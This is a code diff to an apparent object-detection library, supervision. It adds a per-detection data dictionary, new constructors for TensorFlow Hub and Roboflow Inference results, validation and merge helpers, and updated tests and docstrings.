||||
"""
|
||||
for i in range(len(self.xyxy)):
|
||||
yield (
|
||||
@@ -120,36 +96,18 @@ class Detections:
|
||||
self.confidence[i] if self.confidence is not None else None,
|
||||
self.class_id[i] if self.class_id is not None else None,
|
||||
self.tracker_id[i] if self.tracker_id is not None else None,
|
||||
get_data_item(self.data, i),
|
||||
)
|
||||
|
||||
def __eq__(self, other: Detections):
|
||||
return all(
|
||||
[
|
||||
np.array_equal(self.xyxy, other.xyxy),
|
||||
any(
|
||||
[
|
||||
self.mask is None and other.mask is None,
|
||||
np.array_equal(self.mask, other.mask),
|
||||
]
|
||||
),
|
||||
any(
|
||||
[
|
||||
self.class_id is None and other.class_id is None,
|
||||
np.array_equal(self.class_id, other.class_id),
|
||||
]
|
||||
),
|
||||
any(
|
||||
[
|
||||
self.confidence is None and other.confidence is None,
|
||||
np.array_equal(self.confidence, other.confidence),
|
||||
]
|
||||
),
|
||||
any(
|
||||
[
|
||||
self.tracker_id is None and other.tracker_id is None,
|
||||
np.array_equal(self.tracker_id, other.tracker_id),
|
||||
]
|
||||
),
|
||||
np.array_equal(self.mask, other.mask),
|
||||
np.array_equal(self.class_id, other.class_id),
|
||||
np.array_equal(self.confidence, other.confidence),
|
||||
np.array_equal(self.tracker_id, other.tracker_id),
|
||||
is_data_equal(self.data, other.data),
|
||||
]
|
||||
)
|
||||
|
||||
@@ -202,19 +160,12 @@ class Detections:
|
||||
Example:
|
||||
```python
|
||||
>>> import cv2
|
||||
>>> from ultralytics import YOLO, FastSAM, SAM, RTDETR
|
||||
>>> import supervision as sv
|
||||
>>> from ultralytics import YOLO
|
||||
|
||||
>>> image = cv2.imread(SOURCE_IMAGE_PATH)
|
||||
>>> image = cv2.imread(...)
|
||||
>>> model = YOLO('yolov8s.pt')
|
||||
>>> model = SAM('sam_b.pt')
|
||||
>>> model = SAM('mobile_sam.pt')
|
||||
>>> model = FastSAM('FastSAM-s.pt')
|
||||
>>> model = RTDETR('rtdetr-l.pt')
|
||||
>>> # model inferences
|
||||
>>> result = model(image)[0]
|
||||
>>> # if tracker is enabled
|
||||
>>> result = model.track(image)[0]
|
||||
>>> detections = sv.Detections.from_ultralytics(result)
|
||||
```
|
||||
"""
|
||||
@@ -266,6 +217,51 @@ class Detections:
|
||||
class_id=yolo_nas_results.prediction.labels.astype(int),
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def from_tensorflow(
|
||||
cls, tensorflow_results: dict, resolution_wh: tuple
|
||||
) -> Detections:
|
||||
"""
|
||||
Creates a Detections instance from a
|
||||
[Tensorflow Hub](https://www.tensorflow.org/hub/tutorials/tf2_object_detection)
|
||||
inference result.
|
||||
|
||||
Args:
|
||||
tensorflow_results (dict):
|
||||
The output results from Tensorflow Hub.
|
||||
|
||||
Returns:
|
||||
Detections: A new Detections object.
|
||||
|
||||
Example:
|
||||
```python
|
||||
>>> import tensorflow as tf
|
||||
>>> import tensorflow_hub as hub
|
||||
>>> import numpy as np
|
||||
>>> import cv2
|
||||
|
||||
>>> module_handle = "https://tfhub.dev/tensorflow/centernet/hourglass_512x512_kpts/1"
|
||||
|
||||
>>> model = hub.load(module_handle)
|
||||
|
||||
>>> img = np.array(cv2.imread(SOURCE_IMAGE_PATH))
|
||||
|
||||
>>> result = model(img)
|
||||
|
||||
>>> detections = sv.Detections.from_tensorflow(result)
|
||||
```
|
||||
""" # noqa: E501 // docs
|
||||
|
||||
boxes = tensorflow_results["detection_boxes"][0].numpy()
|
||||
boxes[:, [0, 2]] *= resolution_wh[0]
|
||||
boxes[:, [1, 3]] *= resolution_wh[1]
|
||||
boxes = boxes[:, [1, 0, 3, 2]]
|
||||
return cls(
|
||||
xyxy=boxes,
|
||||
confidence=tensorflow_results["detection_scores"][0].numpy(),
|
||||
class_id=tensorflow_results["detection_classes"][0].numpy().astype(int),
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def from_deepsparse(cls, deepsparse_results) -> Detections:
|
||||
"""
|
||||
@@ -282,18 +278,18 @@ class Detections:
|
||||
|
||||
Example:
|
||||
```python
|
||||
>>> from deepsparse import Pipeline
|
||||
>>> import supervision as sv
|
||||
>>> from deepsparse import Pipeline
|
||||
|
||||
>>> yolo_pipeline = Pipeline.create(
|
||||
... task="yolo",
|
||||
... model_path = "zoo:cv/detection/yolov5-l/pytorch/" \
|
||||
... "ultralytics/coco/pruned80_quant-none"
|
||||
>>> pipeline_outputs = yolo_pipeline(SOURCE_IMAGE_PATH,
|
||||
... iou_thres=0.6, conf_thres=0.001)
|
||||
... model_path = "zoo:cv/detection/yolov5-l/pytorch/ultralytics/coco/pruned80_quant-none"
|
||||
... )
|
||||
>>> result = yolo_pipeline(<SOURCE IMAGE PATH>)
|
||||
>>> detections = sv.Detections.from_deepsparse(result)
|
||||
```
|
||||
"""
|
||||
""" # noqa: E501 // docs
|
||||
|
||||
if np.asarray(deepsparse_results.boxes[0]).shape[0] == 0:
|
||||
return cls.empty()
|
||||
|
||||
@@ -326,7 +322,7 @@ class Detections:
|
||||
>>> inferencer = DetInferencer(model_name, checkpoint, device)
|
||||
>>> mmdet_result = inferencer(SOURCE_IMAGE_PATH, out_dir='./output',
|
||||
... return_datasamples=True)["predictions"][0]
|
||||
>>> detections = sv.Detections.from_mmdet(mmdet_result)
|
||||
>>> detections = sv.Detections.from_mmdetection(mmdet_result)
|
||||
```
|
||||
"""
|
||||
|
||||
@@ -393,14 +389,22 @@ class Detections:
|
||||
)
|
||||
|
||||
@classmethod
|
||||
def from_roboflow(cls, roboflow_result: dict) -> Detections:
|
||||
def from_inference(cls, roboflow_result: Union[dict, Any]) -> Detections:
|
||||
"""
|
||||
Create a Detections object from the [Roboflow](https://roboflow.com/)
|
||||
API inference result.
|
||||
API inference result or the [Inference](https://inference.roboflow.com/)
|
||||
package results. This method extracts bounding boxes, class IDs,
|
||||
confidences, and class names from the Roboflow API result and encapsulates
|
||||
them into a Detections object.
|
||||
|
||||
!!! note
|
||||
|
||||
Class names can be accessed using the key 'class_name' in the returned
|
||||
object's data attribute.
|
||||
|
||||
Args:
|
||||
roboflow_result (dict): The result from the
|
||||
Roboflow API containing predictions.
|
||||
roboflow_result (dict, any): The result from the
|
||||
Roboflow API or Inference package containing predictions.
|
||||
|
||||
Returns:
|
||||
(Detections): A Detections object containing the bounding boxes, class IDs,
|
||||
@@ -408,27 +412,19 @@ class Detections:
|
||||
|
||||
Example:
|
||||
```python
|
||||
>>> import cv2
|
||||
>>> import supervision as sv
|
||||
>>> from inference.models.utils import get_roboflow_model
|
||||
|
||||
>>> roboflow_result = {
|
||||
... "predictions": [
|
||||
... {
|
||||
... "x": 0.5,
|
||||
... "y": 0.5,
|
||||
... "width": 0.2,
|
||||
... "height": 0.3,
|
||||
... "class_id": 0,
|
||||
... "class": "person",
|
||||
... "confidence": 0.9
|
||||
... },
|
||||
... # ... more predictions ...
|
||||
... ]
|
||||
... }
|
||||
|
||||
>>> detections = sv.Detections.from_roboflow(roboflow_result)
|
||||
>>> image = cv2.imread(...)
|
||||
>>> model = get_roboflow_model(model_id="yolov8s-640")
|
||||
>>> result = model.infer(image)[0]
|
||||
>>> detections = sv.Detections.from_inference(result)
|
||||
```
|
||||
"""
|
||||
xyxy, confidence, class_id, masks, trackers = process_roboflow_result(
|
||||
with suppress(AttributeError):
|
||||
roboflow_result = roboflow_result.dict(exclude_none=True, by_alias=True)
|
||||
xyxy, confidence, class_id, masks, trackers, data = process_roboflow_result(
|
||||
roboflow_result=roboflow_result
|
||||
)
|
||||
|
||||
@@ -441,8 +437,42 @@ class Detections:
|
||||
class_id=class_id,
|
||||
mask=masks,
|
||||
tracker_id=trackers,
|
||||
data=data,
|
||||
)
|
||||
|
||||
@classmethod
|
||||
@deprecated(
|
||||
"`Detections.from_roboflow` is deprecated and will be removed in "
|
||||
"`supervision-0.21.0`. Use `Detections.from_inference` instead."
|
||||
)
|
||||
def from_roboflow(cls, roboflow_result: Union[dict, Any]) -> Detections:
|
||||
"""
|
||||
Create a Detections object from the [Roboflow](https://roboflow.com/)
|
||||
API inference result or the [Inference](https://inference.roboflow.com/)
|
||||
package results.
|
||||
|
||||
Args:
|
||||
roboflow_result (dict): The result from the
|
||||
Roboflow API containing predictions.
|
||||
|
||||
Returns:
|
||||
(Detections): A Detections object containing the bounding boxes, class IDs,
|
||||
and confidences of the predictions.
|
||||
|
||||
Example:
|
||||
```python
|
||||
>>> import cv2
|
||||
>>> import supervision as sv
|
||||
>>> from inference.models.utils import get_roboflow_model
|
||||
|
||||
>>> image = cv2.imread(...)
|
||||
>>> model = get_roboflow_model(model_id="yolov8s-640")
|
||||
>>> result = model.infer(image)[0]
|
||||
>>> detections = sv.Detections.from_roboflow(result)
|
||||
```
|
||||
"""
|
||||
return cls.from_inference(roboflow_result)
|
||||
|
||||
@classmethod
|
||||
def from_sam(cls, sam_result: List[dict]) -> Detections:
|
||||
"""
|
||||
@@ -656,30 +686,67 @@ class Detections:
|
||||
|
||||
Example:
|
||||
```python
|
||||
>>> from supervision import Detections
|
||||
import numpy as np
|
||||
import supervision as sv
|
||||
|
||||
>>> detections_1 = Detections(...)
|
||||
>>> detections_2 = Detections(...)
|
||||
>>> detections_1 = sv.Detections(
|
||||
... xyxy=np.array([[15, 15, 100, 100], [200, 200, 300, 300]]),
|
||||
... class_id=np.array([1, 2]),
|
||||
... data={'feature_vector': np.array([0.1, 0.2)])}
|
||||
... )
|
||||
|
||||
>>> detections_2 = sv.Detections(
|
||||
... xyxy=np.array([[30, 30, 120, 120]]),
|
||||
... class_id=np.array([1]),
|
||||
... data={'feature_vector': [np.array([0.3])]}
|
||||
... )
|
||||
|
||||
>>> merged_detections = Detections.merge([detections_1, detections_2])
|
||||
|
||||
>>> merged_detections.xyxy
|
||||
array([[ 15, 15, 100, 100],
|
||||
[200, 200, 300, 300],
|
||||
[ 30, 30, 120, 120]])
|
||||
|
||||
>>> merged_detections.class_id
|
||||
array([1, 2, 1])
|
||||
|
||||
>>> merged_detections.data['feature_vector']
|
||||
array([0.1, 0.2, 0.3])
|
||||
```
|
||||
"""
|
||||
if len(detections_list) == 0:
|
||||
return Detections.empty()
|
||||
|
||||
detections_tuples_list = [astuple(detection) for detection in detections_list]
|
||||
xyxy, mask, confidence, class_id, tracker_id = [
|
||||
list(field) for field in zip(*detections_tuples_list)
|
||||
]
|
||||
for detections in detections_list:
|
||||
validate_detections_fields(
|
||||
xyxy=detections.xyxy,
|
||||
mask=detections.mask,
|
||||
confidence=detections.confidence,
|
||||
class_id=detections.class_id,
|
||||
tracker_id=detections.tracker_id,
|
||||
data=detections.data,
|
||||
)
|
||||
|
||||
def __all_not_none(item_list: List[Any]):
|
||||
return all(x is not None for x in item_list)
|
||||
xyxy = np.vstack([d.xyxy for d in detections_list])
|
||||
|
||||
xyxy = np.vstack(xyxy)
|
||||
mask = np.vstack(mask) if __all_not_none(mask) else None
|
||||
confidence = np.hstack(confidence) if __all_not_none(confidence) else None
|
||||
class_id = np.hstack(class_id) if __all_not_none(class_id) else None
|
||||
tracker_id = np.hstack(tracker_id) if __all_not_none(tracker_id) else None
|
||||
def stack_or_none(name: str):
|
||||
if all(d.__getattribute__(name) is None for d in detections_list):
|
||||
return None
|
||||
if any(d.__getattribute__(name) is None for d in detections_list):
|
||||
raise ValueError(f"All or none of the '{name}' fields must be None")
|
||||
return (
|
||||
np.vstack([d.__getattribute__(name) for d in detections_list])
|
||||
if name == "mask"
|
||||
else np.hstack([d.__getattribute__(name) for d in detections_list])
|
||||
)
|
||||
|
||||
mask = stack_or_none("mask")
|
||||
confidence = stack_or_none("confidence")
|
||||
class_id = stack_or_none("class_id")
|
||||
tracker_id = stack_or_none("tracker_id")
|
||||
|
||||
data = merge_data([d.data for d in detections_list])
|
||||
|
||||
return cls(
|
||||
xyxy=xyxy,
|
||||
@@ -687,6 +754,7 @@ class Detections:
|
||||
confidence=confidence,
|
||||
class_id=class_id,
|
||||
tracker_id=tracker_id,
|
||||
data=data,
|
||||
)
|
||||
|
||||
def get_anchors_coordinates(self, anchor: Position) -> np.ndarray:
|
||||
@@ -756,17 +824,23 @@ class Detections:
|
||||
raise ValueError(f"{anchor} is not supported.")
|
||||
|
||||
def __getitem__(
|
||||
self, index: Union[int, slice, List[int], np.ndarray]
|
||||
) -> Detections:
|
||||
self, index: Union[int, slice, List[int], np.ndarray, str]
|
||||
) -> Union[Detections, List, np.ndarray, None]:
|
||||
"""
|
||||
Get a subset of the Detections object.
|
||||
Get a subset of the Detections object or access an item from its data field.
|
||||
|
||||
When provided with an integer, slice, list of integers, or a numpy array, this
|
||||
method returns a new Detections object that represents a subset of the original
|
||||
detections. When provided with a string, it accesses the corresponding item in
|
||||
the data dictionary.
|
||||
|
||||
Args:
|
||||
index (Union[int, slice, List[int], np.ndarray]):
|
||||
The index or indices of the subset of the Detections
|
||||
index (Union[int, slice, List[int], np.ndarray, str]): The index, indices,
|
||||
or key to access a subset of the Detections or an item from the data.
|
||||
|
||||
Returns:
|
||||
(Detections): A subset of the Detections object.
|
||||
Union[Detections, Any]: A subset of the Detections object or an item from
|
||||
the data field.
|
||||
|
||||
Example:
|
||||
```python
|
||||
@@ -775,16 +849,16 @@ class Detections:
|
||||
>>> detections = sv.Detections(...)
|
||||
|
||||
>>> first_detection = detections[0]
|
||||
|
||||
>>> first_10_detections = detections[0:10]
|
||||
|
||||
>>> some_detections = detections[[0, 2, 4]]
|
||||
|
||||
>>> class_0_detections = detections[detections.class_id == 0]
|
||||
|
||||
>>> high_confidence_detections = detections[detections.confidence > 0.5]
|
||||
|
||||
>>> feature_vector = detections['feature_vector']
|
||||
```
|
||||
"""
|
||||
if isinstance(index, str):
|
||||
return self.data.get(index)
|
||||
if isinstance(index, int):
|
||||
index = [index]
|
||||
return Detections(
|
||||
@@ -793,8 +867,45 @@ class Detections:
|
||||
confidence=self.confidence[index] if self.confidence is not None else None,
|
||||
class_id=self.class_id[index] if self.class_id is not None else None,
|
||||
tracker_id=self.tracker_id[index] if self.tracker_id is not None else None,
|
||||
data=get_data_item(self.data, index),
|
||||
)
|
||||
|
||||
def __setitem__(self, key: str, value: Union[np.ndarray, List]):
|
||||
"""
|
||||
Set a value in the data dictionary of the Detections object.
|
||||
|
||||
Args:
|
||||
key (str): The key in the data dictionary to set.
|
||||
value (Union[np.ndarray, List]): The value to set for the key.
|
||||
|
||||
Example:
|
||||
```python
|
||||
>>> import cv2
|
||||
>>> from ultralytics import YOLO
|
||||
>>> import supervision as sv
|
||||
|
||||
>>> model = YOLO('yolov8s.pt')
|
||||
|
||||
>>> image = cv2.imread(SOURCE_IMAGE_PATH)
|
||||
|
||||
>>> result = model(image)[0]
|
||||
>>> detections = sv.Detections.from_ultralytics(result)
|
||||
|
||||
>>> detections['names'] = [
|
||||
... model.model.names[class_id]
|
||||
... for class_id
|
||||
... in detections.class_id
|
||||
... ]
|
||||
```
|
||||
"""
|
||||
if not isinstance(value, (np.ndarray, list)):
|
||||
raise TypeError("Value must be a np.ndarray or a list")
|
||||
|
||||
if isinstance(value, list):
|
||||
value = np.array(value)
|
||||
|
||||
self.data[key] = value
|
||||
|
||||
@property
|
||||
def area(self) -> np.ndarray:
|
||||
"""
|
||||
|
||||
@@ -54,7 +54,9 @@ class LineZone:
|
||||
crossed_in = np.full(len(detections), False)
|
||||
crossed_out = np.full(len(detections), False)
|
||||
|
||||
for i, (xyxy, _, confidence, class_id, tracker_id) in enumerate(detections):
|
||||
for i, (xyxy, tracker_id) in enumerate(
|
||||
zip(detections.xyxy, detections.tracker_id)
|
||||
):
|
||||
if tracker_id is None:
|
||||
continue
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ from typing import Callable, Optional, Tuple
|
||||
|
||||
import numpy as np
|
||||
|
||||
from supervision.detection.core import Detections, validate_inference_callback
|
||||
from supervision.detection.core import Detections
|
||||
from supervision.detection.utils import move_boxes
|
||||
from supervision.utils.image import crop_image
|
||||
|
||||
@@ -60,7 +60,6 @@ class InferenceSlicer:
|
||||
self.iou_threshold = iou_threshold
|
||||
self.callback = callback
|
||||
self.thread_workers = thread_workers
|
||||
validate_inference_callback(callback=callback)
|
||||
|
||||
def __call__(self, image: np.ndarray) -> Detections:
|
||||
"""
|
||||
|
||||
@@ -1,8 +1,11 @@
|
||||
from typing import List, Optional, Tuple
|
||||
from itertools import chain
|
||||
from typing import Any, Dict, List, Optional, Tuple, Union
|
||||
|
||||
import cv2
|
||||
import numpy as np
|
||||
|
||||
from supervision.config import CLASS_NAME_DATA_FIELD
|
||||
|
||||
MIN_POLYGON_POINT_COUNT = 3
|
||||
|
||||
|
||||
@@ -299,7 +302,6 @@ def extract_ultralytics_masks(yolov8_results) -> Optional[np.ndarray]:
|
||||
orig_shape = yolov8_results.orig_shape
|
||||
inference_shape = tuple(yolov8_results.masks.data.shape[1:])
|
||||
|
||||
gain = 0
|
||||
pad = (0, 0)
|
||||
|
||||
if inference_shape != orig_shape:
|
||||
@@ -331,13 +333,28 @@ def extract_ultralytics_masks(yolov8_results) -> Optional[np.ndarray]:
|
||||
|
||||
def process_roboflow_result(
|
||||
roboflow_result: dict,
|
||||
) -> Tuple[np.ndarray, np.ndarray, np.ndarray, Optional[np.ndarray], np.ndarray]:
|
||||
) -> Tuple[
|
||||
np.ndarray,
|
||||
np.ndarray,
|
||||
np.ndarray,
|
||||
Optional[np.ndarray],
|
||||
Optional[np.ndarray],
|
||||
Dict[str, List[np.ndarray]],
|
||||
]:
|
||||
if not roboflow_result["predictions"]:
|
||||
return np.empty((0, 4)), np.empty(0), np.empty(0), None, None
|
||||
return (
|
||||
np.empty((0, 4)),
|
||||
np.empty(0),
|
||||
np.empty(0),
|
||||
None,
|
||||
None,
|
||||
{CLASS_NAME_DATA_FIELD: np.empty(0)},
|
||||
)
|
||||
|
||||
xyxy = []
|
||||
confidence = []
|
||||
class_id = []
|
||||
class_name = []
|
||||
masks = []
|
||||
tracker_ids = []
|
||||
|
||||
@@ -357,6 +374,7 @@ def process_roboflow_result(
|
||||
if "points" not in prediction:
|
||||
xyxy.append([x_min, y_min, x_max, y_max])
|
||||
class_id.append(prediction["class_id"])
|
||||
class_name.append(prediction["class"])
|
||||
confidence.append(prediction["confidence"])
|
||||
if "tracker_id" in prediction:
|
||||
tracker_ids.append(prediction["tracker_id"])
|
||||
@@ -367,6 +385,7 @@ def process_roboflow_result(
|
||||
mask = polygon_to_mask(polygon, resolution_wh=(image_width, image_height))
|
||||
xyxy.append([x_min, y_min, x_max, y_max])
|
||||
class_id.append(prediction["class_id"])
|
||||
class_name.append(prediction["class"])
|
||||
confidence.append(prediction["confidence"])
|
||||
masks.append(mask)
|
||||
if "tracker_id" in prediction:
|
||||
@@ -375,10 +394,12 @@ def process_roboflow_result(
|
||||
xyxy = np.array(xyxy) if len(xyxy) > 0 else np.empty((0, 4))
|
||||
confidence = np.array(confidence) if len(confidence) > 0 else np.empty(0)
|
||||
class_id = np.array(class_id).astype(int) if len(class_id) > 0 else np.empty(0)
|
||||
class_name = np.array(class_name) if len(class_name) > 0 else np.empty(0)
|
||||
masks = np.array(masks, dtype=bool) if len(masks) > 0 else None
|
||||
tracker_id = np.array(tracker_ids).astype(int) if len(tracker_ids) > 0 else None
|
||||
data = {CLASS_NAME_DATA_FIELD: class_name}
|
||||
|
||||
return xyxy, confidence, class_id, masks, tracker_id
|
||||
return xyxy, confidence, class_id, masks, tracker_id, data
|
||||
|
||||
|
||||
def move_boxes(xyxy: np.ndarray, offset: np.ndarray) -> np.ndarray:
|
||||
@@ -470,3 +491,204 @@ def calculate_masks_centroids(masks: np.ndarray) -> np.ndarray:
|
||||
centroid_y = sum_over_mask(vertical_indices, aggregation_axis) / total_pixels
|
||||
|
||||
return np.column_stack((centroid_x, centroid_y)).astype(int)
|
||||
|
||||
|
||||
def validate_xyxy(xyxy: Any) -> None:
|
||||
expected_shape = "(_, 4)"
|
||||
actual_shape = str(getattr(xyxy, "shape", None))
|
||||
is_valid = isinstance(xyxy, np.ndarray) and xyxy.ndim == 2 and xyxy.shape[1] == 4
|
||||
if not is_valid:
|
||||
raise ValueError(
|
||||
f"xyxy must be a 2D np.ndarray with shape {expected_shape}, but got shape "
|
||||
f"{actual_shape}"
|
||||
)
|
||||
|
||||
|
||||
def validate_mask(mask: Any, n: int) -> None:
|
||||
expected_shape = f"({n}, H, W)"
|
||||
actual_shape = str(getattr(mask, "shape", None))
|
||||
is_valid = mask is None or (
|
||||
isinstance(mask, np.ndarray) and len(mask.shape) == 3 and mask.shape[0] == n
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError(
|
||||
f"mask must be a 3D np.ndarray with shape {expected_shape}, but got shape "
|
||||
f"{actual_shape}"
|
||||
)
|
||||
|
||||
|
||||
def validate_class_id(class_id: Any, n: int) -> None:
|
||||
expected_shape = f"({n},)"
|
||||
actual_shape = str(getattr(class_id, "shape", None))
|
||||
is_valid = class_id is None or (
|
||||
isinstance(class_id, np.ndarray) and class_id.shape == (n,)
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError(
|
||||
f"class_id must be a 1D np.ndarray with shape {expected_shape}, but got "
|
||||
f"shape {actual_shape}"
|
||||
)
|
||||
|
||||
|
||||
def validate_confidence(confidence: Any, n: int) -> None:
|
||||
expected_shape = f"({n},)"
|
||||
actual_shape = str(getattr(confidence, "shape", None))
|
||||
is_valid = confidence is None or (
|
||||
isinstance(confidence, np.ndarray) and confidence.shape == (n,)
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError(
|
||||
f"confidence must be a 1D np.ndarray with shape {expected_shape}, but got "
|
||||
f"shape {actual_shape}"
|
||||
)
|
||||
|
||||
|
||||
def validate_tracker_id(tracker_id: Any, n: int) -> None:
|
||||
expected_shape = f"({n},)"
|
||||
actual_shape = str(getattr(tracker_id, "shape", None))
|
||||
is_valid = tracker_id is None or (
|
||||
isinstance(tracker_id, np.ndarray) and tracker_id.shape == (n,)
|
||||
)
|
||||
if not is_valid:
|
||||
raise ValueError(
|
||||
f"tracker_id must be a 1D np.ndarray with shape {expected_shape}, but got "
|
||||
f"shape {actual_shape}"
|
||||
)
|
||||
|
||||
|
||||
def validate_data(data: Dict[str, Any], n: int) -> None:
|
||||
for key, value in data.items():
|
||||
if isinstance(value, list):
|
||||
if len(value) != n:
|
||||
raise ValueError(f"Length of list for key '{key}' must be {n}")
|
||||
elif isinstance(value, np.ndarray):
|
||||
if value.ndim == 1 and value.shape[0] != n:
|
||||
raise ValueError(f"Shape of np.ndarray for key '{key}' must be ({n},)")
|
||||
elif value.ndim > 1 and value.shape[0] != n:
|
||||
raise ValueError(
|
||||
f"First dimension of np.ndarray for key '{key}' must have size {n}"
|
||||
)
|
||||
else:
|
||||
raise ValueError(f"Value for key '{key}' must be a list or np.ndarray")
|
||||
|
||||
|
||||
def validate_detections_fields(
|
||||
xyxy: Any,
|
||||
mask: Any,
|
||||
class_id: Any,
|
||||
confidence: Any,
|
||||
tracker_id: Any,
|
||||
data: Dict[str, Any],
|
||||
) -> None:
|
||||
validate_xyxy(xyxy)
|
||||
n = len(xyxy)
|
||||
validate_mask(mask, n)
|
||||
validate_class_id(class_id, n)
|
||||
validate_confidence(confidence, n)
|
||||
validate_tracker_id(tracker_id, n)
|
||||
validate_data(data, n)
|
||||
|
||||
|
||||
def is_data_equal(data_a: Dict[str, np.ndarray], data_b: Dict[str, np.ndarray]) -> bool:
|
||||
"""
|
||||
Compares the data payloads of two Detections instances.
|
||||
|
||||
Args:
|
||||
data_a, data_b: The data payloads of the instances.
|
||||
|
||||
Returns:
|
||||
True if the data payloads are equal, False otherwise.
|
||||
"""
|
||||
return set(data_a.keys()) == set(data_b.keys()) and all(
|
||||
np.array_equal(data_a[key], data_b[key]) for key in data_a
|
||||
)
|
||||
|
||||
|
||||
def merge_data(
|
||||
data_list: List[Dict[str, Union[np.ndarray, List]]],
|
||||
) -> Dict[str, Union[np.ndarray, List]]:
|
||||
"""
|
||||
Merges the data payloads of a list of Detections instances.
|
||||
|
||||
Args:
|
||||
data_list: The data payloads of the instances.
|
||||
|
||||
Returns:
|
||||
A single data payload containing the merged data, preserving the original data
|
||||
types (list or np.ndarray).
|
||||
|
||||
Raises:
|
||||
ValueError: If data values within a single object have different lengths or if
|
||||
dictionaries have different keys.
|
||||
"""
|
||||
if not data_list:
|
||||
return {}
|
||||
|
||||
all_keys_sets = [set(data.keys()) for data in data_list]
|
||||
if not all(keys_set == all_keys_sets[0] for keys_set in all_keys_sets):
|
||||
raise ValueError("All data dictionaries must have the same keys to merge.")
|
||||
|
||||
for data in data_list:
|
||||
lengths = [len(value) for value in data.values()]
|
||||
if len(set(lengths)) > 1:
|
||||
raise ValueError(
|
||||
"All data values within a single object must have equal length."
|
||||
)
|
||||
|
||||
merged_data = {key: [] for key in all_keys_sets[0]}
|
||||
|
||||
for data in data_list:
|
||||
for key in merged_data:
|
||||
merged_data[key].append(data[key])
|
||||
|
||||
for key in merged_data:
|
||||
if all(isinstance(item, list) for item in merged_data[key]):
|
||||
merged_data[key] = list(chain.from_iterable(merged_data[key]))
|
||||
elif all(isinstance(item, np.ndarray) for item in merged_data[key]):
|
||||
ndim = merged_data[key][0].ndim
|
||||
if ndim == 1:
|
||||
merged_data[key] = np.hstack(merged_data[key])
|
||||
elif ndim > 1:
|
||||
merged_data[key] = np.vstack(merged_data[key])
|
||||
else:
|
||||
raise ValueError(f"Unexpected array dimension for key '{key}'.")
|
||||
else:
|
||||
raise ValueError(
|
||||
f"Inconsistent data types for key '{key}'. Only np.ndarray and list "
|
||||
f"types are allowed."
|
||||
)
|
||||
|
||||
return merged_data
|
||||
|
||||
|
||||
def get_data_item(
|
||||
data: Dict[str, Union[np.ndarray, List]],
|
||||
index: Union[int, slice, List[int], np.ndarray],
|
||||
) -> Dict[str, Union[np.ndarray, List]]:
|
||||
"""
|
||||
Retrieve a subset of the data dictionary based on the given index.
|
||||
|
||||
Args:
|
||||
data: The data dictionary of the Detections object.
|
||||
index: The index or indices specifying the subset to retrieve.
|
||||
|
||||
Returns:
|
||||
A subset of the data dictionary corresponding to the specified index.
|
||||
"""
|
||||
subset_data = {}
|
||||
for key, value in data.items():
|
||||
if isinstance(value, np.ndarray):
|
||||
subset_data[key] = value[index]
|
||||
elif isinstance(value, list):
|
||||
if isinstance(index, slice):
|
||||
subset_data[key] = value[index]
|
||||
elif isinstance(index, (list, np.ndarray)):
|
||||
subset_data[key] = [value[i] for i in index]
|
||||
elif isinstance(index, int):
|
||||
subset_data[key] = [value[index]]
|
||||
else:
|
||||
raise TypeError(f"Unsupported index type: {type(index)}")
|
||||
else:
|
||||
raise TypeError(f"Unsupported data type for key '{key}': {type(value)}")
|
||||
|
||||
return subset_data
|
||||
|
||||
@@ -74,7 +74,7 @@ class VideoSink:
|
||||
>>> import supervision as sv
|
||||
|
||||
>>> video_info = sv.VideoInfo.from_video_path('source.mp4')
|
||||
>>> frames_generator = get_video_frames_generator('source.mp4')
|
||||
>>> frames_generator = sv.get_video_frames_generator('source.mp4')
|
||||
|
||||
>>> with sv.VideoSink(target_path='target.mp4', video_info=video_info) as sink:
|
||||
... for frame in frames_generator:
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
import xml.etree.ElementTree as ET
|
||||
from contextlib import ExitStack as DoesNotRaise
|
||||
from test.test_utils import mock_detections
|
||||
from typing import List, Optional
|
||||
|
||||
import defusedxml.ElementTree as ET
|
||||
import numpy as np
|
||||
import pytest
|
||||
|
||||
@@ -122,7 +122,7 @@ NO_DETECTIONS = """<annotation></annotation>"""
|
||||
["test"],
|
||||
(100, 100),
|
||||
False,
|
||||
mock_detections(np.array([[0, 0, 10, 10]]), None, [0]),
|
||||
mock_detections(xyxy=[[0, 0, 10, 10]], class_id=[0]),
|
||||
DoesNotRaise(),
|
||||
),
|
||||
(
|
||||
@@ -130,7 +130,9 @@ NO_DETECTIONS = """<annotation></annotation>"""
|
||||
["test"],
|
||||
(100, 100),
|
||||
False,
|
||||
mock_detections(np.array([[0, 0, 10, 10], [10, 10, 20, 20]]), None, [0, 0]),
|
||||
mock_detections(
|
||||
xyxy=np.array([[0, 0, 10, 10], [10, 10, 20, 20]]), class_id=[0, 0]
|
||||
),
|
||||
DoesNotRaise(),
|
||||
),
|
||||
(
|
||||
@@ -139,9 +141,8 @@ NO_DETECTIONS = """<annotation></annotation>"""
|
||||
(100, 100),
|
||||
False,
|
||||
mock_detections(
|
||||
np.array([[0, 0, 10, 10], [20, 30, 30, 40], [10, 10, 20, 20]]),
|
||||
None,
|
||||
[0, 0, 1],
|
||||
xyxy=np.array([[0, 0, 10, 10], [20, 30, 30, 40], [10, 10, 20, 20]]),
|
||||
class_id=[0, 0, 1],
|
||||
),
|
||||
DoesNotRaise(),
|
||||
),
|
||||
@@ -150,7 +151,7 @@ NO_DETECTIONS = """<annotation></annotation>"""
|
||||
[],
|
||||
(100, 100),
|
||||
False,
|
||||
mock_detections(np.empty((0, 4)), None, []),
|
||||
mock_detections(xyxy=np.empty((0, 4)), class_id=[]),
|
||||
DoesNotRaise(),
|
||||
),
|
||||
],
|
||||
|
||||
@@ -153,7 +153,10 @@ def test_getitem(
|
||||
DoesNotRaise(),
|
||||
), # single detection with xyxy field
|
||||
(
|
||||
[mock_detections(xyxy=[[10, 10, 20, 20]]), Detections.empty()],
|
||||
[
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]]),
|
||||
mock_detections(xyxy=np.empty((0, 4), dtype=np.float32)),
|
||||
],
|
||||
mock_detections(xyxy=[[10, 10, 20, 20]]),
|
||||
DoesNotRaise(),
|
||||
), # single detection with xyxy field + empty detection
|
||||
@@ -171,7 +174,7 @@ def test_getitem(
|
||||
